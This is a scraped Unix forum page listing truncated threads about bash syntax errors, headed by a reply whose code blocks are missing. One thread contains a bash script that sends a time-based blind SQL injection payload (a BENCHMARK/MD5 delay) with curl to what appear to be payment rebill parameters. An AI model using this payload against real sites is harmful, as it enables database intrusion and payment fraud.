Making lots of assumptions and having no idea why you have an empty here-document feeding data into a tr command that is also reading from a pipeline nor why you think you need a case insensitive search while using egrep on input that has already been converted to uppercase only by two preceding tr commands, you might want to try:
This assumes that you don't want to convert tabs and sequences of one or more spaces and tabs in the expansion of $environment to single spaces and that the first character of the expansion of $environment is not a minus sign immediately after any leading spaces and tabs have been removed. I also assume that there are backslash escape sequences embedded in the expansion of $environment or you would have just used:
instead of:
and that you are using a version of bash on a system where echo expands backslash escapes by default.
Dears,
While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this.
test.sh: line 30: syntax error near unexpected token `done'
test.sh: line 30: ` done '
#!/bin/sh
# Rev. PA1
# author: eillops
# date: 26-04-2018
#
#... (1 Reply)
howdy,
so I'm make a plugin work for Nagios, and the commandline is:
/usr/lib/nagios/plugins/check_mssql -H MySQLServerName -u MySqlAccountName -p MyPassword(#XXXXX -d MyDatabaseName
it is barfing with:
bash: syntax error near unexpected token `('
Thoughts?
Do I have to wrap something... (2 Replies)
Hi all,
I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction.
count=$((1))
for item in `cat test1.txt`
printf %s `sed -n $((count))p test2.txt` > test3.txt
count=$((count+1))
do
something
done
I get ;
./why.sh: line 3:... (14 Replies)
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Hi all,
This is a script which converts hex to bin. However am finding an error while executing
syntax error near unexpected token `='
`($hexfile, $binfile) = @ARGV;'
I am running using ./fil.pl <hexfile> <binfile>
###################################################
#
# this script... (3 Replies)
hi! just want to seek help on this error: syntax error near unexpected token 'do
this is my script
# !/bin/sh
#
for y in 27 25
do
exemmlmx -c "ZEEI;" -n XRT$y >> blah
done
what can be wrong? thanks! (6 Replies)
Hi,
I am running the following script through cygwin and getting below mentioned error.
*******************************************
#!/bin/sh
# constants
WORK_DIR="deploy"
INFOFILE="deploy.info"
INTROFILE="Intro.sh"
CMGMT_PKG="com.kintana.cmgmt.deploy"
DEPLOY_PREFIX="mitg"
... (2 Replies)
Hi all,
Here is a simple script that is working in one server and is giving a syntax error in other server. Can somebody help me ?
#!/bin/bash
# ftp files
done < $file
errors:
I tried..with no success:
if ; then (21 Replies)
Hi,
When I run the below shell script I'm getting the error " syntax error near unexpected token `"
Script:
REM :: File Name : Refresh_OTL.bat
REM :: Parameters : %1 - Region
REM :: : %2 - Cube Type
REM :: :
REM :: Notes :
REM ============================== set ENVIRONMENT... (2 Replies)